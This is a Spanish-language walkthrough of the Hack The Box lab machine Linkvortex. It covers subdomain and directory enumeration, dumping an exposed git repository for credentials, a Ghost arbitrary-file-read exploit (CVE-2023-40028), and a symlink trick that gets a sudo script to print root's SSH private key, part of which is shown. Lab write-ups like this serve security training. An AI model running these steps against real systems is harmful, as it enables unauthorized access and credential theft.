Linkvortex

OS: Linux
Dificultad: Fácil
Puntos: 20

Nmap Scan

ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.47 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.11.47
Nmap scan report for 10.10.11.47
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeracion

Nmap nos muestra el puerto 22 y 80, adicionalmente un dominio linkvortex.htb por lo tanto empezamos enumerando subdominios.

ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -fw 14
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 14
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 126ms]

Realizando un descubrimiento de directorios vemos el path .git/HEAD en el subdominio dev.

gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.linkvortex.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.git/HEAD            (Status: 200) [Size: 41]
/.htpasswd            (Status: 403) [Size: 199]
/cgi-bin/             (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 2538]
/server-status        (Status: 403) [Size: 199]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Git Dumper

Utilizando git-dumper podemos obtener los archivos web a traves de las referencias del repositorio de forma automatizada.

git-dumper http://dev.linkvortex.htb/ git
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/ [200]

Utilizando los comandos git vemos que se agregaron 2 archivos nuevos al repositorio.

git status
Not currently on any branch.
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   Dockerfile.ghost
        modified:   ghost/core/test/regression/api/admin/authentication.test.js

En el archivo dockerfile.ghost identificamos que esta utilizando Ghost 5.58.0.

dockerfile.ghost
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

En el archivo authentication.test.js encontramos un password.

git diff --cached
authentication.test.js
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';

Enumeracion de usuarios

Tambien identificamos un usuario valido por el mensaje de error que muestra la pagina web.

http://linkvortex.htb/ghost/#/signin

Con ese usuario y el password que encontramos podemos autenticarnos al portal web.

admin@linkvortex.htb : OctopiFociPilfer45

Ghost Arbitrary File Read (CVE-2023-40028)

Una vez que tenemos acceso y conociendo la version del software identificamos exploit publicos. Comprobamos que podemos leer archivos con el siguiente script.

Es necesario modificar la siguiente linea del script. La ruta la encontramos en el archivo ghost/core/test/regression/api/admin/utils.js.

CVE-2023-40028
30
GHOST_API="$GHOST_URL/ghost/api/admin/"

Ejecutamos el script y escribimos el archivo que queremos leer.

./CVE-2023-40028 -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45' -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Si recordamos el dockerfile vimos el nombre de un archivo de configuracion config.production.json. Lo leemos con el script y obtenemos un usuario y password.

/var/lib/ghost/config.production.json
{
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

Acceso SSH

Con esas credenciales podemos conectar por SSH.

ssh bob@linkvortex.htb

Escalada de Privilegios

Verificamos si el usuario bob puede ejecutar comandos como sudo y tiene privilegios para ejecutar el siguiente comando.

sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Symlink Attack

Leyendo el script clean_symlink.sh tenemos una brecha de seguridad que nos permitira leer archivos privilegiados creando enlaces simbolicos (symlinks). Analizaremos el script primero para entender donde esta la falla.

En la siguiente linea esta comprobando si el archivo proporcionado como argumento ($LINK) es un enlace simbólico usando el comando test -L. Si es un enlace simbólico, entonces el script sigue con su procesamiento.

clean_symlink.sh
11
if /usr/bin/sudo /usr/bin/test -L "$LINK"; then

Se obtiene el destino real al que apunta el enlace simbólico ($LINK) usando el comando readlink.

clean_symlink.sh
18
LINK_TARGET=$(/usr/bin/readlink "$LINK")

Si el destino del enlace simbólico contiene una ruta a directorios sensibles como /etc o /root, decide eliminar el enlace:

clean_symlink.sh
19
20
21
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)'; then
  /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
  /usr/bin/unlink $LINK

Por ultimo tenemos esta parte del codigo que muestra el contenido del archivo que queremos leer.

clean_symlink.sh
25
26
27
if $CHECK_CONTENT;then
    /usr/bin/echo "Content:"
    /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null

Ejecutaremos los siguientes comando para realizar nuestro sysmlink. El primer symlink es para leer el archivo que queremos.

ln -s /root/.ssh/id_rsa file.txt

El segundo symlink nos permitira saltarnos la validacion /usr/bin/grep -Eq ‘(etc|root)’.

ln -s /home/bob/file.txt image.png

Seguido ejecutamos el comando sudo de la siguiente forma.

sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh image.png
Link found [ image.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF2Oy+u2SD+X7lG9A6
V1xkmWhQWEvCiI22UjIoFkI0oOfDrm6ZQTyZF99AqBVcwGCjEA67eEKt/5oejN5YgL7Ipu

Obtendremos la llave privada del usuario root para conectarnos por SSH. Copiamos la llave y le damos permisos de lectura.

chmod 400 root-rsa

Nos conectamos por SSH de la siguiente forma.

ssh -i root-rsa root@linkvortex.htb

Referencias

https://github.com/arthaud/git-dumper
https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028